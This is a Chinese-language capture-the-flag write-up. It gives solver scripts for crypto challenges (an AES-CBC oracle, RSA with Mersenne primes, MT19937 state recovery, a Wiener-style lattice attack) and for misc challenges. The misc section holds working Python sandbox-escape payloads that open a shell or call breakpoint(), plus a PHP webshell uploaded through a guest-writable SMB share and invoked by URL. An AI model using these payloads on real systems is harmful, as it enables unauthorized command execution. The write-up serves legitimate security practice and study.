system,正好會有 個解。由於 只有 16 bits
所以直接全部嘗試就可以了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from sage.all import *from Crypto.Cipher import AESfrom Crypto.Util.number import getPrime, long_to_bytesfrom lll_cvp import polynomials_to_matrixfrom Crypto.Util.Padding import padp = 42899 hashes = [1934 , 22627 , 36616 , 21343 ] ciphertext = b"z\xa5\xa5\x1d\xe5\xd2I\xb1\x15\xec\x95\x8b^\xb6:r=\xe3h\x06-\xe9\x01\xda\xc03\xa4\xf6\xa8_\x8c\x12!MZP\x17O\xee\xa3\x0f\x05\x0b\xea7cnP" F = GF(p) r = list (polygens(F, "r" , 5 )) flag = b"TSC{" eqs = [] for i in range (4 ): h = flag[i] for j in range (5 ): h = h + (j + 1 ) * r[j] r[j] = h print (f"hash[{i} ] = {h} " ) eqs.append(h - hashes[i]) M, monos = polynomials_to_matrix(eqs) assert monos[-1 ] == 1 A = M[:, :-1 ] b = vector(-M[:, -1 ]) rk = A.right_kernel_matrix()[0 ] s0 = A.solve_right(b) for t in range (p): s = s0 + t * rk assert all ([e(*s) == 0 for e in eqs]) key = 0 for rr in [f(*s) for f in r]: key += int (rr) key *= 2 **16 key = pad(long_to_bytes(key), 16 ) aes = AES.new(key, AES.MODE_ECB) flag = aes.decrypt(ciphertext) if b"TSC{" in flag: print (flag) break
AES Encryption Oracle
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.primitives import paddingfrom cryptography.hazmat.backends import default_backendimport osdef aes_cbc_encrypt (msg: bytes , key: bytes ) -> bytes : """ Encrypts a message using AES in CBC mode. Parameters: msg (bytes): The plaintext message to encrypt. key (bytes): The encryption key (must be 16, 24, or 32 bytes long). Returns: bytes: The initialization vector (IV) concatenated with the encrypted ciphertext. """ if len (key) not in {16 , 24 , 32 }: raise ValueError("Key must be 16, 24, or 32 bytes long." ) iv = os.urandom(16 ) padder = padding.PKCS7(algorithms.AES.block_size).padder() padded_msg = padder.update(msg) + padder.finalize() cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) encryptor = cipher.encryptor() ciphertext = encryptor.update(padded_msg) + encryptor.finalize() return iv + ciphertext def aes_cbc_decrypt (encrypted_msg: bytes , key: bytes ) -> bytes : """ Decrypts a message encrypted using AES in CBC mode. Parameters: encrypted_msg (bytes): The encrypted message (IV + ciphertext). key (bytes): The decryption key (must be 16, 24, or 32 bytes long). Returns: bytes: The original plaintext message. """ if len (key) not in {16 , 24 , 32 }: raise ValueError("Key must be 16, 24, or 32 bytes long." ) iv = encrypted_msg[:16 ] ciphertext = encrypted_msg[16 :] cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) decryptor = cipher.decryptor() padded_msg = decryptor.update(ciphertext) + decryptor.finalize() unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder() msg = unpadder.update(padded_msg) + unpadder.finalize() return msg def main (): with open ("/home/kon/image-small.jpeg" , "rb" ) as f: image = f.read() key = os.urandom(16 ) encrypted_image = aes_cbc_encrypt(image, key) k0n = int (input ("What do you want to know? " )) print (f'{key = } ' ) print (f'{encrypted_image[k0n:k0n+32 ] = } ' ) if __name__ == "__main__" : main()
這題給你個 oracle 用 AES-CBC 加密 flag 圖片,然後可以選任兩個 block
回傳和 key,所以只要拿前面的 block 當 iv 然後拿後面的 block 當
ciphertext 就可以解出一個 block 的 plaintext 了。
寫個 script recover jpeg:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *import astfrom Crypto.Cipher import AEScontext.log_level = "error" def oracle (i ): io = remote("172.31.2.2" , 36363 ) io.sendline(str (i).encode()) io.recvuntil(b"key = " ) key = ast.literal_eval(io.recvlineS()) io.recvuntil(b"encrypted_image[k0n:k0n+32] = " ) enc = ast.literal_eval(io.recvlineS()) io.close() return key, enc def get_pt_block (i ): key, enc = oracle(i * 16 ) if not enc: return None aes = AES.new(key, AES.MODE_CBC, enc[:16 ]) return aes.decrypt(enc[16 :]) with open ("pt.jpg" , "wb" ) as f: i = 0 while True : print (i) pt_block = get_pt_block(i) if not pt_block: break f.write(pt_block) i += 1
Recovered flag image
Flag: TSC{f0x_Say_Gering-dingKon-kon-kon}
Random Strange Algorithm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import secretsimport osfrom Crypto.Util.number import bytes_to_long, isPrimedef genPrime (): while True : x = secrets.randbelow(1000000 ) if isPrime(2 **x - 1 ): return x p = genPrime() q = genPrime() M = (1 << p + q) - 1 flag = os.getenv("FLAG" ) or "FLAG{test_flag}" flag = bytes_to_long(flag.encode()) e = 65537 def weird (x, e, p, q, M ): res = 1 strange = lambda x, y: x + (y << p) + (y << q) - y for b in reversed (bin (e)[2 :]): if b == "1" : res = res * x res = strange(res & M, res >> (p + q)) res = strange(res & M, res >> (p + q)) res = strange(res & M, res >> (p + q)) x = x * x x = strange(x & M, x >> (p + q)) x = strange(x & M, x >> (p + q)) x = strange(x & M, x >> (p + q)) return res ct = weird(flag, e, p, q, M) print (f"Cipher: {hex (ct)} " )
weird 不知道是用什麼奇怪算法在算 RSA,不過 都是 mersenne prime,然後我又猜 flag
不長所以直接 enumerate 範圍內的所有 merseene prime 就可以了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import itertools, gmpy2from Crypto.Util.number import long_to_bytesfrom tqdm import tqdmct = 0x27225c567dfd854ba84614f9e8266db9f326af279aa18afbdb1f601a097ddbf5a203c836d4d0430c59f6d6be6ccfe7f4deca9a4011bc514d92e1aaa1c792cd24127a24b205a2c0a28af24edee1692d04a23aa8653581fe8e3c922878aaeb1c1f495cf08c129bae8ec039d1dc8c39564bdfdcefee42c42f5843c63aeff373613cc133076356241a9b06e45c367b84083e0edf21608f08f5d50563502438746355c1fe7c2f5a470b6857aabc04cc1f6b136e1f79bc2c41419b13ff845d485d380e2b110c2bd2e873e2c07d75d3e9cf1cd6b5634c67e98f11fe7a269e10af713dbb4f587443a630fe1dea2f406793213ce117828b0572dc4d3f06dcce3722bef0d0e8c2aced34d353e9ffe3d0f75a3e0ac195e73888d601c4dde936a573c28aaf6750ea0ad53fdc715c4df547279fdaeb68251ba4bb68f4aa7c0b49241e3e6fc58daae1c4dceb7ba0ef06d3fdec2bfa432ea1a5299d3dd104dd05b10be33303a5fea87cb6fc5d2f0e7daafe1b8f5c50066da68318b510bfd93e2abbadfc86b258bd82f2f53396abfc92a2f71dfd88bfd23b31013844d744d9788bbeb3cb425acfad0f6e868ed84a3152f82cbfc2f8386f059091cab29b9e64cbcc7d9ae672d1801b2dd4521253cffc4a21d476d00c8ac08495118df4ebff044f99e0ee8a56bcb43b3975d7794ff022850031fc0ab7a0b7cc1fe9894a739a7928eb7736910c748548ded36772dc2c6e81fd863af09473ec9e74b12bdddc9141bf46d226c67ce8efc9b02bc7ca3f067336032a7fafe93430fc2006cef8745864868430bcedee25244ba05621e7c2a72cdf524455f650766bc42d15662948ea9d5176c0796a0651a8faeff0ff276c7f65fc1784adeffc03899469192b691db929666509541cc770c487eef20195e704ff63bf1a6c18f20a0a19599cc54113223de37860c2cffbdfb7357da87b28f7bf8b416071196c354331138eb47aa11910c9756c5affa80b97111dddb6d147fe0c30bbfa2ee86cbb36129eef5e543f150023070cf650151e38bbee3a05963ff1cf26a2d42731b6c4487bad5e67eda74b3e9110f4e7df74e5e2819ef80b7f70b33ac3060ca18176e9f48e95d333c4fe5c2ae355a9661de75494fda5ef2d93d4404cf906969fe3ba7f589b263e61cc538986206cdd4177b7898ff5a016c2baccb5d00d78fdc462beaf989bfedbbc70ccaf85489cd1352ff32d0e213bb9cb23e7840eccd020e34ba441a40df86ea128e9f0215b32ab90dd9756afe87f40758676fff71c517895cd3b0f6f35a6f675634dfb1994945105b0276e9b0bbaf15d49824ad20c9865a4608ab0ea3093a32b7e40131010e25f9a939620a6ea43000fb2cd0a75eefd1e01da402f11bde242cb794c135a94db04123b2f874b9eda525f9c1932250084b4b4f096595d4f829691df2908ec625a16695e111083dd4d13665bc8baedaf159100b5c3bb6b9d2450471f5006a99165745c825c4a44b1c1de75a7fa23fca0183d59c3150c8aa6bd787aafcb40d17b053ef8ff7dd9fd1c03e9a60e2d0418bec88773fdd9ff3917f584496cebedaca5ab6c674c7a294bebba764b681c333559acf97bef89290a66cf7249cac824cc43558cf777fe1283d134159747e174a2c6c65a8f4c1ec6ae656465ee52ddab9d56e0b30bf29157ef86b72c3fb836a10df8f0c98fb2cbd7debecb98172eab7475491b7b6aa8fcf1d89f1275bbe5226897d42ea5913d8634ac1a2a5a8211ae3a0627ff53f423dc789e2323a2ef0f9b90f47370a8ef86664dfdb08ae01e3a2c3ea68a5b12cc197207b5c6df451d6e109ac00082b4be5295819b3341429b32653b2cd2d5547dfcb4970c3caa687a1ec2bf50d4db5b2cc2967fb7b3fb47eaa84094b6a73b29162baddd07f045de495006f714b9538bfafab29ba9705b8d5ccb3458ebaaf87078e8b16bb2390b0cedc3a65a08122d6834758d8053e519b479a4b4818fd3d6f9dd52e9e7f1ece3237f58d07399d44692c08e2c50c8632a40592a148492a0c475cb33579b48b6fbe5441fde23ed89b0686f69cced80bed326cda230de3a1c8777422038662cd052bf7f8bd021b8e4f885941957bcfc32d3c9da028068c30c5b19c3cffa9a1a044cd23d01cab79c149e3ac0d77ce6694a41cd0b404be056ad35cc31cf4051d6d855e73ddc4c0aeef5c6075af182e3f05503f73ea25874f430d3a13ee2b291be56a510aa8a6505868c7467f1a43a0b84817c841f1ff7a8af8872cc977f55f7add6d8411fa35f93edd13a9eabb688762e74be5a98e02806248f8be03c72ff4d1074f06ef2e77b9159b6db5db8158212d614c8a024ff51871fd152f53b1998dddd07f65eaeea5f3ab6bbc33dce92179a4e140d7ebf0b06c412ee8b2636d90dd003721bd54c0d20bc5b071cce0a970625a28b0bf4aaf09c57fdb40bdeae24e3e20c5d0bfa0ab64fc627c6c633f93252460b8d8edcbfd6fd43a45dd1e3adc11733232686358dca0db03b23df9bde2d359695ab3e6af5ebe881c25ae5bc2be2a392551bc0f9a9c50e4b9306631f668c95479a11d267984e3cd407701d4d9b7c077804663b6b68e10030915023da5414df1905ce1e4b0ba7c4f677bcbdc89e778e7927ff4aa2a7699cc7447f433e4ba4072627f5e955735e6650cade1676410b2001cccd2d4146e0ee0671dbee364d34c4224d886e8704062c96e56f6e1e463f2f60a6267ee7e45d387b705beb765ee62898a52e6d9190f9079a2cc2c823c6a97a38750337fcb9c3b682ea60e0250c8f733ae1cd11de95a219cabe9db8e27db6ffc1af616ed7b8f27e8e748c5620291a9a850f24057fc1e0dbe6b6db49257c1c57cebed13ace5196af892ccc2b09b76f54048390bd5d06387ebddaefb2dca8b94c9d663cf2a6f4480c14f932c08667be1b7210181c4c8df0f1cea710cdb567fb2b1e126141bd1616436044f8722f81f7fe45ac67386ed806c471b782b6c288334b896803779e4b50a7280fec70e84c39303764b30f8d98d178968eae949192e1cdbbd378b186211cfd15d6e68cf9a85ea3873451d3f26ffce9d2f76e23cfca012687e17c78e214f22163f2a0b94ac7b3067b232ee7d6ab57e6991b668ad84d6602b5838a15566b5a407eea66ebd106a2fb67a367753e0bab7ffdc234a00c8ab0540f38379daa09f47c22cd3c96f2d3a13d17ddf2970aaec4f65029896fa549ba832f8bebebd2c00d895a568be4b8d093089fb0f5e9f9a4d37a7ed5ace03268b236d33ae36b8168633de6178de56a1053df6a9b1d902df020ecaed6612aba8dd03dee1ea0a00467f9dcb98cfbc742e352d6315dc479216f08765b7341a085ac313c2b8856d22cd822ba6fd1a62519ae1cfec489e678e0440a1aeacbcb917aed893c0255618569ba9c03e627d0ce7ecd33ce64e26b9ff4ed9fc3f6f87dc105f4962373d86f155b64273b4a14cad88bc07265b78ba3b8e87b7b5dde2d39349658a295295c253495004a9a6c7d8ec46414f6c74bff4179784ad19dac1f5897bb56c1716f7cc238024d1243399329843cc8cbc1ec15dc69f089c43f3c6545cd35d1d176c3bbc5c6ea5475fcc9b7411d96febbb4fef67124897a4ab311ec2f32ae590065f3e4f76b716479d9506e6a03a151ba6258e31eda4feee96d3e255c74c874e197de71156ad5b1df35ce20a60033714689bd409b1b35aafa3b3cda73d7524321c7562f7dad33e22cc9ea6cea4d3933a9ef1924ff0add9a441647bbeaa8a13e680281956abba2231ad39778c3bb92cea57b93ec063b676fc8d0ce898a1856449c1b1b16d7973ba40c5aa52edb1dc7e2332fcf61217cd02e31b0c5c787089771acb3e8c2b7715911e09cd9183e803d80c9873074026c3e4ecfe11600b2e507e159a56e0394f1b42618aaf7363523a4c8b53c497fecdc65d167bdb2c4f79ee393387e364954debe37f1a933b964af9ac3e3227a77a167f3491e61eb43a67bb7a13c6b113ebeb0784dd5e70422ca27eebc2e703fc2c7996375c9b4d4f3aa44b6ab4f8e08f6cc8263e0229a12582f2c2301d1650d2a2f1146f87a59a34178b54a58fd46ca725267bb2f4a19fbac7b53b6f6aa1d70bb46674b5879d6ed81f40f01c62634d1ba6dee627d75e4f1333e2805e00f142860193e278ec1d676cc25c3ae91237ab9209b26a304b2e65b7bb6a68fbc300d8114f14adafe8cff69d554de4d8ba4e321f94b3d90bf9feeeeadd1bbdffde39c7036c70ffc340b0f9f8d819e925ecac8feca4a6c4aa9918477e742a0d104c0972ef02082fa9365d49654b29306c131d36eccb0e393f186553e08217f69a6191b1d4017ab431e45cbb8a4511e4cd6fa183c6f7e5612bfe8c3ae2b10e97c530ae172ebcb201585b05c1aedbed2daea99026596486063b620db4a75a72ece20683abb3e53d2a067785e8fa396d0f02233bd8221d1e7620af36a5e9c98d4e3f4eaef09794dde1ecea87dd531f276da98a3112665ced8610937f1b8d6cf0dde32de980fe1ee43bf856f3fc8b34035f5345d80b2c123a4ea7b24da20a065a08e9be1b5808b18727b689cd376d620d28566e9d7f7507e1b7705bd0fccd631891f297ff44990c2b1c697e9582531025e7556824e89db58672e0bf91fe7aad4e5d6d733cace0d92a5089fff9c6e7a4a56c857934143e6296950a0dc3e3a4cfcb479c4c2f18d52d1a67aa260f421a5f657b371faffada38099edbf07b7799e2424ae24a9ad2b76bb5e75453b5b3c4270f0be1448d3fda6660d77ec8e569d6c21f532d8871b9e5d60ac6a1b80b688c6efe12678e8cedd7b3ef19658ccf13f554c92fbd37d3773e57d8fd79c9f21783495a9d534efdd8f99a6d27ea40d76d032bc8f999ece9a55f292fb80111d526d1a0a8b33f4e35ea820cd4dfc8a526ead8baad66f5b2d86404de48d97a8a4d6b7f50eccc1350a60a23a4f3d479473ed1825f373b78003080af07f99ac6ead34124a5d43cef23c2e548779993c73c7cd5e89624dfa3952251b8e86eb9d4bce88244c60b0b0765379054f532fddff5e6a4da75d38ab7f67f8bede89c812259f948e4371d82e2b838e62250475e7986e97ad9706d84a57560934d9cd566cc5fba0f4f7037554ad926e68f178323881f33aba7a6811a03f3f507b6494428f3428927bd120b73298b2f5cad421985b0af070b9fae7037ea3cef1885d3846ba8cd09cd9f43070096a249796bcdd21ca55c76816ead0692e0587d96f831f343dde19117083509e0d4f5b296674dcc0e17b669f7c2ab4b0a609d6cbed8073d1aec3ef2cee0aad9c055d54ac11d58c01ab27956b3bbd667f5bb52dc96b647fc9ee2dc47ae8e5bab66d1bbf66d21926e063a90d7438e501113e78e9506c20c0dcc517189d5f54a6b4d53bff8173adbb3c2c4017e440f05517fa56c424d03b2e8dd81537a714cb53c3ec1c8237344d3ce8a0e8f81cb5693908f0cf63001cb0f2218a53b9be92f4c1aed51ba9a224523ae765a71ad3ba687594496ec72887a8f3a6f6338fab6c14ed6c139d687f5de68f99a2b4b425774abe7ad24995d775b8ac11efbc6ef0b38f6377c969ed6e63919f510c5444347155903c72be2f82de608b3abaec12a084c7a3cf06b6be7bef4478c723b90c5b652b1a87b206a2f1405a89471a4b9a073f3204a158e20a5e3dc6c4f433360927dce3b58ca65b3c42d18bf860a977ffc469cca122c8dfd338cdaffa4d796e4ee0314f581b0683763d6b9c0cf6498fad28fd4506258023553ef4d66f7e389014ca9a0e38627910a816cd51c95ff5a269080cc08ff96fd035efd2a0c192d58e09bc3d864c165c90da82bd2e61617132b9f62861c176d11a56d335589c534cdfc7312de0da2b845a863e35293eb60341328df60fcb9927115e7f24e6fe0a2bef5bbbaf560b13d58c93a3878bc99d44b5e748692b231ad3c84187776e29905979a7470424b1df92ea82374efad63da2a1c41aaf4c1e446416eaac450f659ce12012d7a22f3c8d97848356ded7504b448a9595683f2be12fd23c4fbdaaded9a3207031077272f64428e9e202d03a2083c7e68807ac9eda25130deb4347a8c2ae36a211a8324218da4276c1b5566b0bb7bd70ccfb580bce3ee108915bc1b21ad49de03875bd0346752e8a1c6788fd829a74abf7b01a3329f9bd7a2535c312f5a48b20623646e1078b6d4f5df9c0cc0bc06d41deb208b31cbe4b49e8dcf697bc7439d00a0c87bb64be44115b440d6b0fcf38e024bc332290b4ca33d1fa097799cae6cbf297b68a87ff8ba687ef4a5dbb25e02e7f95ea2bfb34db25ccb38df96f1bb32372ff00e5f3d78c0ce5a1bde27d2af89bb11efdf4b1b11feaf8c36b3373c0867b3fecbe58150a88758873ae4ecd3df4da6549732245da3cebd152a3dbef070aacd7f0c760fc797c253f9375edee15ec7f783059818df5ec0632c10e50f8dce4fbd4ddcff61c9601a88925db83dfe1b6a4bbdf76506828a1ece4ee99c1e356b686b880aaaf1f789d0b8e1a5ef69b7c12d57161bbab80219d270ab65ce6b1d29bcc24a6bedc18ac73783a2271560ec5193b20979c2168a0da1da6a30d9f7190973ac11906de52f80db4d40b5a86c1084ad17115718b7c9327dcd1aaf266df16f0f232ed926b2d7f139c37ad527a01ef38bcb3dfae204ebafda14ecac741ef1769c2f02189c2c474cb3b9f79884a767baad126a5a14c99e2fc6a1f1c0d3c1598f5670ce19aa0d01c6a7302d4e66d28315139f9b20f474ae1a39b93bb18a479733db8bf9dd737f8a09d4146ad89850342445eee2ca3141a672047814e42b7b9bd7798d6d8d82adba9d696dce955e61815520618a1ec70a9264acd244a5d8f5170f3a0ece58351737c31a617d3e646916e503cd7b20c6decafe3a8532f6bde5e89b7b8314a73dcf9c75090331d7f56820637c2d9ace9a75d8cef4a5f45049a8d17ecddd1c1e7f2683588cf834e82044e38e571ef786c9b1ff1ab9dd40644784f2820a42a9c1ecbe155d54557bd34c2c8245fe9f6187fa97c46929dffcf2b0d49679a51a2cd069879174b7d1556c83e2aaecf0e9a7fa52af3b3f0d6dbe95474da464c065db054521f17e0cf676060acb4c64fb7f9d42ad518a27ebcbdeb9e1183ac02c182e19fe98948be6ca6b44b8936294234c0c795bebf6726bb9f6d71029b7226a7f2d920d7c6d5bad845dbd7126be045ff9f2553f617591e0aad0979e2194b4ca5d0624cbe141c4a3e36d218f58ad3675412d29917ea1e91ee05b7a52267534b2386ecfa2f9634214ae42511dadd68f75422fd87d99309f38ecb97ece0ea084d5f11c15b6059a5c161881bf421a143a8e400bb41b9c42af3943cc3308523717d2684e605c19f4f61b02b1d437f8ea2ff31c478b820c503a847c07ec5a11f84ebddb13976db04fef81ad11c1917ac48ba5dfec46f7e5ccd1743b56d837acbe81dd60fdd8e65e6d7bffa03aeb6b4c5af715dcbe48dfa54f5802627f05736521096b6755103aac95d1dbe803eb15e200180e557d5238e9a5d06a2f9d1573bc4d302739050c2da989309fa060bf31f233d118fe4673491af97c6504774db6b08d5772f718460f99b2b2fcd0b455ca4d119a42a982d22e1d0931736d26740b8bd0930d0b673300b8d602fa230ebbb56a599aaf341382072d843fb8850ba41b18ce628687388f32e896fbb01387ded3099aa1f567093f69dcd08d5822ed345453efab20c3a5ba059c19fd3c8c660776ca1ab858433e83ddd6fccca3df9ee20d1634b60a284f7497bd40f58eb2f58ffb4530cc3ad9024132ca7f45f69426f1e1cba8b8a811cf8971c94352ee445d1e37e4157b406864de23e44c2698e6be5737bc4e8dafa303e8c4b6b800fbed343b9a8867633040c0ab8c80e5ab12e22966e4125e760dfcd34d217a4703d6743d24ce97469b120d57cb3e9b19100f90dd794ccb9ee86feec5a48b08de98799d99f9e exps = [2 , 3 , 5 , 7 , 13 , 17 , 19 , 31 , 61 , 89 , 107 , 127 , 521 , 607 , 1279 , 2203 , 2281 , 3217 , 4253 , 4423 , 9689 , 9941 , 11213 , 19937 , 21701 , 23209 , 44497 , 86243 , 110503 , 132049 , 216091 , 756839 , 859433 ] ps = [gmpy2.mpz(2 )**e-1 for e in exps] e = 65537 for p in tqdm(ps): try : d = gmpy2.invert(e, p-1 ) except ZeroDivisionError: continue m = gmpy2.powmod(ct, d, p) flag = long_to_bytes(m) if flag.startswith(b"TSC{" ): print (flag) break
Random Shuffle
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import randomimport osflag = os.getenv("FLAG" ) or "FLAG{test_flag}" def main (): random.seed(os.urandom(32 )) Hint = b"" .join( [ (random.getrandbits(32 ) & 0x44417A9F ).to_bytes(4 , byteorder="big" ) for i in range (2000 ) ] ) Secret = random.randbytes(len (flag)) print (Secret.hex (), file=__import__ ("sys" ).stderr) Encrypted = [(ord (x) ^ y) for x, y in zip (flag, Secret)] random.shuffle(Encrypted) print (f"Hint: {Hint.hex ()} " ) print (f"Encrypted flag: {bytes (Encrypted).hex ()} " ) if __name__ == "__main__" : main()
很直接的 MT19937 預測題目,這邊用我自己寫的 gf2bv library
解就能秒殺了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from gf2bv import LinearSystemfrom gf2bv.crypto.mt import MT19937with open ("flag" ) as f: hint = bytes .fromhex(f.readline().split(": " )[1 ]) enc = bytes .fromhex(f.readline().split(": " )[1 ]) chunks = [int .from_bytes(hint[i : i + 4 ], "big" ) for i in range (0 , len (hint), 4 )] lin = LinearSystem([32 ] * 624 ) mt = lin.gens() rng = MT19937(mt) zeros = [] for x in chunks: zeros.append((rng.getrandbits(32 ) & 0x44417A9F ) ^ x) sol = lin.solve_one(zeros) rand = MT19937(sol).to_python_random() for x in chunks: assert rand.getrandbits(32 ) & 0x44417A9F == x secret = rand.randbytes(len (enc)) shuffle = list (range (len (enc))) rand.shuffle(shuffle) enc_unshuffle = [0 ] * len (enc) for i, j in enumerate (shuffle): enc_unshuffle[j] = enc[i] flag = bytes ([x ^ y for x, y in zip (enc_unshuffle, secret)]) print (flag)
Random Strangeeeeee
Algorithm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import osimport randomimport sysfrom Crypto.Util.number import getRandomNBitInteger, bytes_to_longfrom gmpy2 import is_primefrom secret import FLAGdef get_prime (nbits: int ): if nbits < 2 : raise ValueError("'nbits' must be larger than 1." ) while True : num = getRandomNBitInteger(nbits) | 1 if is_prime(num): return num def pad (msg: bytes , nbytes: int ): if nbytes < (len (msg) + 1 ): raise ValueError("'nbytes' must be larger than 'len(msg) + 1'." ) return msg + b'\0' + os.urandom(nbytes - len (msg) - 1 ) def main (): for cnt in range (4096 ): nbits_0 = 1000 + random.randint(1 , 256 ) nbits_1 = 612 + random.randint(1 , 256 ) p, q, r = get_prime(nbits_0), get_prime(nbits_0), get_prime(nbits_0) n = p * q * r d = get_prime(nbits_1) e = pow (d, -1 , (p - 1 ) * (q - 1 ) * (r - 1 )) m = bytes_to_long(pad(FLAG, (n.bit_length() - 1 ) // 8 )) c = pow (m, e, n) print (f'{n, e = } ' ) print (f'{c = } ' ) msg = input ('Do you want to refresh [Y/N] > ' ) if msg != 'Y' : break if __name__ == '__main__' : try : main() except Exception: sys.exit() except KeyboardInterrupt: sys.exit()
顯然這題是個類似 wiener attack 的題目,差別只在 是三個 prime。
我的方法是參考 LLL 版的 wiener attack 弄的 (Cryptanalysis of RSA and
Its Variants 5.1.2.1):
此處因為 ,所以 ,然後 的三個高次項是 兩兩相乘,所以 。
然後構造以下 lattice:
有 的 short
vector,所以就能獲得
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from sage.all import *from pwn import process, remoteimport astfrom Crypto.Util.number import long_to_bytesio = remote("172.31.2.2" , 36901 ) for i in range (4096 ): print ("try" , i) io.recvuntil(b"n, e = " ) n, e = ast.literal_eval(io.recvlineS().strip()) io.recvuntil(b"c = " ) c = int (io.recvline().strip()) K = ZZ(n).nth_root(3 , truncate_mode=True )[0 ] ** 2 * 3 _, dK = matrix([[e, K], [n, 0 ]]).LLL()[0 ] d = abs (dK) // K print (d.bit_length()) m = pow (c, d, n) flag = long_to_bytes(m) if flag.startswith(b"TSC{" ): print (flag) break io.sendline(b"Y" )
實際上因為 nbits_0
和 nbits_1
都是隨機的關係所以要碰點運氣。
不過這題應該也有 coppersmith 版的解法可以拿到更好的 bound。
Misc
BabyJail
pyjail @ Python 3.12.7
1 2 3 print (eval (input ('> ' ), {"__builtins__" : {}}, {}))
因為我是先解完後面的 revenge 才回來解這題的,所以只小改了一下我後面用
frame 的解法:
1 2 (lambda :[a:=(lambda :(yield a.gi_frame.f_back.f_back.f_back.f_builtins)),a:=a(),b:=a.send(None ),b['exec' ]('breakpoint()' ,{'__builtins__' :b})])()
calc
1 2 3 4 5 6 7 8 9 10 11 inp = input ('> ' ) if sum (1 for char in inp if char in set (__import__ ('string' ).ascii_letters)): raise NameError("just calc no evil(ascii)." ) if '[' in inp or ']' in inp: raise NameError("just calc no evil([])." ) print (eval (inp, {"__builtins__" : {}}, {}))
這邊直接用 NFKC normalization 就能繞過不能有 ascii letter
的限制,然後弄標準的 os.system('sh')
就能拿到 shell
了,字串內用 octal escape 即可達成。
1 2 (*().__class__.__base__.__subclasses__().__getitem__(155 ).close.__globals__.values(),1 ).__getitem__(46 )('\163\150' )
A_BIG_BUG
PT 題,直接告訴你有一個 http & smb 服務。http 部分用 dirsearch
掃有找到 /uploads
,不過裡面只有個 README.md
沒用。
smb 部分我用 netexec 發現有 guest login,且有 uploads
share 的 RW 權限:
1 2 3 4 5 6 7 8 > netexec smb 172.31.0.2 --port 30185 -u ctfuser -p '' --shares SMB 172.31.0.2 30185 7887ADAF97CB [*] Unix - Samba (name:7887ADAF97CB) (domain:7887ADAF97CB) (signing:False) (SMBv1:False) SMB 172.31.0.2 30185 7887ADAF97CB [+] 7887ADAF97CB\ctfuser: (Guest) SMB 172.31.0.2 30185 7887ADAF97CB [*] Enumerated shares SMB 172.31.0.2 30185 7887ADAF97CB Share Permissions Remark SMB 172.31.0.2 30185 7887ADAF97CB ----- ----------- ------ SMB 172.31.0.2 30185 7887ADAF97CB uploads READ,WRITE SMB 172.31.0.2 30185 7887ADAF97CB IPC$ IPC Service (Samba 4.15.13-Ubuntu)
所以用 smb 上傳個 webshell 即可:
1 2 > smbclient //172.31.0.2/uploads --port 30189 --no-pass --user ctfuser put shell.php
1 2 <?php system ($_GET ['cmd' ]);
最後在 /tmp/flag.txt
拿到 flag。
1 http://172.31.0.2:30188/uploads/shell.php?cmd=cat%20/tmp/flag.txt
Flag:
TSC{YOU_got_What_is_pt_and_low_security_password_f1bc61bf51b44ac5a0365169dee186ca}
BabyJail - Revenge
1 2 3 4 5 6 7 8 9 10 11 12 13 inp = __import__ ("unicodedata" ).normalize("NFKC" , input ("> " )) if "__" in inp: raise NameError("no dunder" ) if ',' in inp: raise NameError("no ," ) if sum (1 for c in inp if c == '(' ) > 2 : raise NameError("no (" ) print (eval (inp, {"__builtins__" : {}}, None ))
不能用 __
所以是用 frame 繞,而 ,
的部分透過 [a:=...]+[b:=...]+...
的方法去構造。而
(
只能出現兩次,我第一次用在 generator comprehension
上,然後第二個用在 exec 的 function call 上。
1 2 [a:=(a.gi_frame for _ in [1 ])]+[b:=[*a][0 ].f_back.f_back.f_builtins]+[b["exec" ]("b['exec']\x28'breakpoint\x28\x29'\x2c{'_" "_builtins_" "_':b}\x29" )]